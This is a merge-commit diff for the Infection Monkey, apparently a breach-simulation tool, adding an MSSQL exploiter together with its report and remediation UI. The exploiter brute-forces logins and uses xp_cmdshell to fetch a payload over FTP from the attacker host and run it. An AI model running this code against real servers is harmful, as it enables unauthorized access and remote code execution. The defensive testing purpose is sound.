Merge pull request #147 from guardicore/feature/mssql_exploiter

Feature/mssql exploiter
This commit is contained in:
Daniel Goldberg 2019-01-26 16:56:37 +02:00 committed by GitHub
commit d8d4d4970f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
9 changed files with 396 additions and 9 deletions

View File

@ -41,7 +41,8 @@
"SambaCryExploiter", "SambaCryExploiter",
"Struts2Exploiter", "Struts2Exploiter",
"WebLogicExploiter", "WebLogicExploiter",
"HadoopExploiter" "HadoopExploiter",
"MSSQLExploiter"
], ],
"finger_classes": [ "finger_classes": [
"SSHFinger", "SSHFinger",

View File

@ -45,3 +45,4 @@ from infection_monkey.exploit.elasticgroovy import ElasticGroovyExploiter
from infection_monkey.exploit.struts2 import Struts2Exploiter from infection_monkey.exploit.struts2 import Struts2Exploiter
from infection_monkey.exploit.weblogic import WebLogicExploiter from infection_monkey.exploit.weblogic import WebLogicExploiter
from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.mssqlexec import MSSQLExploiter

View File

@ -0,0 +1,128 @@
import os
import platform
from os import path
import logging
import pymssql
from infection_monkey.exploit import HostExploiter, mssqlexec_utils
__author__ = 'Maor Rayzin'
LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
LOGIN_TIMEOUT = 15
SQL_DEFAULT_TCP_PORT = '1433'
DEFAULT_PAYLOAD_PATH = os.path.expandvars(r'%TEMP%\~PLD123.bat') if platform.system() else '/tmp/~PLD123.bat'
def __init__(self, host):
super(MSSQLExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
def create_payload_file(self, payload_path=DEFAULT_PAYLOAD_PATH):
"""
This function creates dynamically the payload file to be transported and ran on the exploited machine.
:param payload_path: A path to the create the payload file in
:return: True if the payload file was created and false otherwise.
"""
try:
with open(payload_path, 'w+') as payload_file:
payload_file.write('dir C:\\')
return True
except Exception as e:
LOG.error("Payload file couldn't be created", exc_info=True)
return False
def exploit_host(self):
"""
Main function of the mssql brute force
Return:
True or False depends on process success
"""
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
if not self.create_payload_file():
return False
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
self.DEFAULT_PAYLOAD_PATH):
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
return True
else:
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
return False
def handle_payload(self, cursor, payload):
"""
Handles the process of payload sending and execution, prepares the attack and details.
Args:
cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands.
payload (string): Payload path
Return:
True or False depends on process success
"""
chosen_attack = self.attacks_list[0](payload, cursor, self.host.ip_addr)
if chosen_attack.send_payload():
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
if chosen_attack.execute_payload():
LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
chosen_attack.cleanup_files()
return True
else:
LOG.error("Payload: {0} couldn't be executed".format(payload))
else:
LOG.error("Payload: {0} couldn't be sent to host".format(payload))
chosen_attack.cleanup_files()
return False
def brute_force_begin(self, host, port, users_passwords_pairs_list, payload):
"""
Starts the brute force connection attempts and if needed then init the payload process.
Main loop starts here.
Args:
host (str): Host ip address
port (str): Tcp port that the host listens to
payload (str): Local path to the payload
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
Return:
True or False depends if the whole bruteforce and attack process was completed successfully or not
"""
# Main loop
# Iterates on users list
for user, password in users_passwords_pairs_list:
try:
# Core steps
# Trying to connect
conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT)
LOG.info('Successfully connected to host: {0}, '
'using user: {1}, password: {2}'.format(host, user, password))
self.report_login_attempt(True, user, password)
cursor = conn.cursor()
# Handles the payload and return True or False
if self.handle_payload(cursor, payload):
LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host))
return True
else:
LOG.warning("user: {0} and password: {1}, "
"was able to connect to host: {2} but couldn't handle payload: {3}"
.format(user, password, host, payload))
except pymssql.OperationalError:
# Combo didn't work, hopping to the next one
pass
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
'aborting brute force'.format(host, port))
return False

View File

@ -0,0 +1,214 @@
import os
import multiprocessing
import logging
import pymssql
from infection_monkey.exploit.tools import get_interface_to_target
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
__author__ = 'Maor Rayzin'
FTP_SERVER_PORT = 1026
FTP_SERVER_ADDRESS = ''
FTP_SERVER_USER = 'brute'
FTP_SERVER_PASSWORD = 'force'
FTP_WORKING_DIR = '.'
LOG = logging.getLogger(__name__)
class FTP(object):
"""Configures and establish an FTP server with default details.
Args:
user (str): User for FTP server auth
password (str): Password for FTP server auth
working_dir (str): The local working dir to init the ftp server on.
"""
def __init__(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD,
working_dir=FTP_WORKING_DIR):
"""Look at class level docstring."""
self.user = user
self.password = password
self.working_dir = working_dir
def run_server(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD,
working_dir=FTP_WORKING_DIR):
""" Configures and runs the ftp server to listen forever until stopped.
Args:
user (str): User for FTP server auth
password (str): Password for FTP server auth
working_dir (str): The local working dir to init the ftp server on.
"""
# Defining an authorizer and configuring the ftp user
authorizer = DummyAuthorizer()
authorizer.add_user(user, password, working_dir, perm='elradfmw')
# Normal ftp handler
handler = FTPHandler
handler.authorizer = authorizer
address = (FTP_SERVER_ADDRESS, FTP_SERVER_PORT)
# Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
self.server = FTPServer(address, handler)
# Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I
# multiproccess is being used here.
self.server.serve_forever()
def stop_server(self):
# Stops the FTP server and closing all connections.
self.server.close_all()
class AttackHost(object):
"""
This class acts as an interface for the attacking methods class
Args:
payload_path (str): The local path of the payload file
"""
def __init__(self, payload_path):
self.payload_path = payload_path
def send_payload(self):
raise NotImplementedError("Send function not implemented")
def execute_payload(self):
raise NotImplementedError("execute function not implemented")
class CmdShellAttack(AttackHost):
"""
This class uses the xp_cmdshell command execution and will work only if its available on the remote host.
Args:
payload_path (str): The local path of the payload file
cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
"""
def __init__(self, payload_path, cursor, dst_ip_address):
super(CmdShellAttack, self).__init__(payload_path)
self.ftp_server, self.ftp_server_p = self.__init_ftp_server()
self.cursor = cursor
self.attacker_ip = get_interface_to_target(dst_ip_address)
def send_payload(self):
"""
Sets up an FTP server and using it to download the payload to the remote host
Return:
True if payload sent False if not.
"""
# Sets up the cmds to run
shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
.format(self.payload_path)
shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4]
# Checking to see if ftp server is up
if self.ftp_server_p and self.ftp_server:
try:
# Running the cmd on remote host
for cmd in shellcmds:
self.cursor.execute(cmd)
except Exception as e:
LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
self.ftp_server_p.terminate()
return False
return True
else:
LOG.error("Couldn't establish an FTP server for the dropout")
return False
def execute_payload(self):
"""
Executes the payload after ftp drop
Return:
True if payload was executed successfully, False if not.
"""
# Getting the payload's file name
payload_file_name = os.path.split(self.payload_path)[1]
# Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error.
shellcmd = """DECLARE @i INT \
EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \
SELECT @i """.format(payload_file_name)
try:
# Executing payload on remote host
LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name))
self.cursor.execute(shellcmd)
if self.cursor.fetchall()[0][0] == 0:
# Success
self.ftp_server_p.terminate()
LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name))
return True
else:
LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name))
self.ftp_server_p.terminate()
return False
except pymssql.OperationalError:
LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
self.ftp_server_p.terminate()
return False
def cleanup_files(self):
"""
Cleans up the folder with the attack related files (C:\\tmp by default)
:return: True or False if command executed or not.
"""
cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """
try:
self.cursor.execute(cleanup_command)
LOG.info('Attack files cleanup command has been sent.')
return True
except Exception as e:
LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
return False
def __init_ftp_server(self):
"""
Init an FTP server using FTP class on a different process
Return:
ftp_s: FTP server object
p: the process obj of the FTP object
"""
try:
ftp_s = FTP()
multiprocessing.log_to_stderr(logging.DEBUG)
p = multiprocessing.Process(target=ftp_s.run_server)
p.start()
LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name))
return ftp_s, p
except Exception as e:
LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True)
return None, None

View File

@ -16,3 +16,5 @@ netifaces
ipaddress ipaddress
wmi wmi
pywin32 pywin32
pymssql
pyftpdlib

View File

@ -23,6 +23,13 @@ SCHEMA = {
], ],
"title": "WMI Exploiter" "title": "WMI Exploiter"
}, },
{
"type": "string",
"enum": [
"MSSQLExploiter"
],
"title": "MSSQL Exploiter"
},
{ {
"type": "string", "type": "string",
"enum": [ "enum": [
@ -670,6 +677,7 @@ SCHEMA = {
"default": [ "default": [
"SmbExploiter", "SmbExploiter",
"WmiExploiter", "WmiExploiter",
"MSSQLExploiter",
"SSHExploiter", "SSHExploiter",
"ShellShockExploiter", "ShellShockExploiter",
"SambaCryExploiter", "SambaCryExploiter",

View File

@ -37,7 +37,8 @@ class ReportService:
'ShellShockExploiter': 'ShellShock Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter',
'Struts2Exploiter': 'Struts2 Exploiter', 'Struts2Exploiter': 'Struts2 Exploiter',
'WebLogicExploiter': 'Oracle WebLogic Exploiter', 'WebLogicExploiter': 'Oracle WebLogic Exploiter',
'HadoopExploiter': 'Hadoop/Yarn Exploiter' 'HadoopExploiter': 'Hadoop/Yarn Exploiter',
'MSSQLExploiter': 'MSSQL Exploiter'
} }
class ISSUES_DICT(Enum): class ISSUES_DICT(Enum):
@ -52,7 +53,8 @@ class ReportService:
STRUTS2 = 8 STRUTS2 = 8
WEBLOGIC = 9 WEBLOGIC = 9
HADOOP = 10 HADOOP = 10
PTH_CRIT_SERVICES_ACCESS = 11 PTH_CRIT_SERVICES_ACCESS = 11,
MSSQL = 12
class WARNINGS_DICT(Enum): class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0 CROSS_SEGMENT = 0
@ -326,6 +328,12 @@ class ReportService:
processed_exploit['type'] = 'hadoop' processed_exploit['type'] = 'hadoop'
return processed_exploit return processed_exploit
@staticmethod
def process_mssql_exploit(exploit):
processed_exploit = ReportService.process_general_exploit(exploit)
processed_exploit['type'] = 'mssql'
return processed_exploit
@staticmethod @staticmethod
def process_exploit(exploit): def process_exploit(exploit):
exploiter_type = exploit['data']['exploiter'] exploiter_type = exploit['data']['exploiter']
@ -340,7 +348,8 @@ class ReportService:
'ShellShockExploiter': ReportService.process_shellshock_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit,
'Struts2Exploiter': ReportService.process_struts2_exploit, 'Struts2Exploiter': ReportService.process_struts2_exploit,
'WebLogicExploiter': ReportService.process_weblogic_exploit, 'WebLogicExploiter': ReportService.process_weblogic_exploit,
'HadoopExploiter': ReportService.process_hadoop_exploit 'HadoopExploiter': ReportService.process_hadoop_exploit,
'MSSQLExploiter': ReportService.process_mssql_exploit
} }
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@ -556,6 +565,7 @@ class ReportService:
PTHReportService.get_duplicated_passwords_issues, PTHReportService.get_duplicated_passwords_issues,
PTHReportService.get_strong_users_on_crit_issues PTHReportService.get_strong_users_on_crit_issues
] ]
issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
issues_dict = {} issues_dict = {}
@ -625,6 +635,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
elif issue['type'] == 'weblogic': elif issue['type'] == 'weblogic':
issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True
elif issue['type'] == 'mssql':
issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True
elif issue['type'] == 'hadoop': elif issue['type'] == 'hadoop':
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \

View File

@ -29,7 +29,8 @@ class ReportPageComponent extends AuthComponent {
STRUTS2: 8, STRUTS2: 8,
WEBLOGIC: 9, WEBLOGIC: 9,
HADOOP: 10, HADOOP: 10,
PTH_CRIT_SERVICES_ACCESS: 11 PTH_CRIT_SERVICES_ACCESS: 11,
MSSQL: 12
}; };
Warning = Warning =
@ -341,6 +342,8 @@ class ReportPageComponent extends AuthComponent {
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null } <li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ? {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
<li>Mimikatz found login credentials of a user who has admin access to a server defined as critical.</li>: null } <li>Mimikatz found login credentials of a user who has admin access to a server defined as critical.</li>: null }
{this.state.report.overview.issues[this.Issue.MSSQL] ?
<li>MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.</li> : null }
</ul> </ul>
</div> </div>
: :
@ -412,7 +415,6 @@ class ReportPageComponent extends AuthComponent {
<div> <div>
{this.generateIssues(this.state.report.recommendations.issues)} {this.generateIssues(this.state.report.recommendations.issues)}
</div> </div>
</div> </div>
); );
} }
@ -867,7 +869,23 @@ class ReportPageComponent extends AuthComponent {
); );
} }
generateMSSQLIssue(issue) {
return(
<li>
Disable the xp_cmdshell option.
<CollapsibleWellComponent>
The machine <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
className="label label-danger">MSSQL exploit attack</span>.
<br/>
The attack was made possible because the target machine used an outdated MSSQL server configuration allowing
the usage of the xp_cmdshell command. To learn more about how to disable this feature, read <a
href="https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?view=sql-server-2017">
Microsoft's documentation. </a>
</CollapsibleWellComponent>
</li>
);
}
generateIssue = (issue) => { generateIssue = (issue) => {
let data; let data;
@ -935,6 +953,9 @@ class ReportPageComponent extends AuthComponent {
case 'hadoop': case 'hadoop':
data = this.generateHadoopIssue(issue); data = this.generateHadoopIssue(issue);
break; break;
case 'mssql':
data = this.generateMSSQLIssue(issue);
break;
} }
return data; return data;
}; };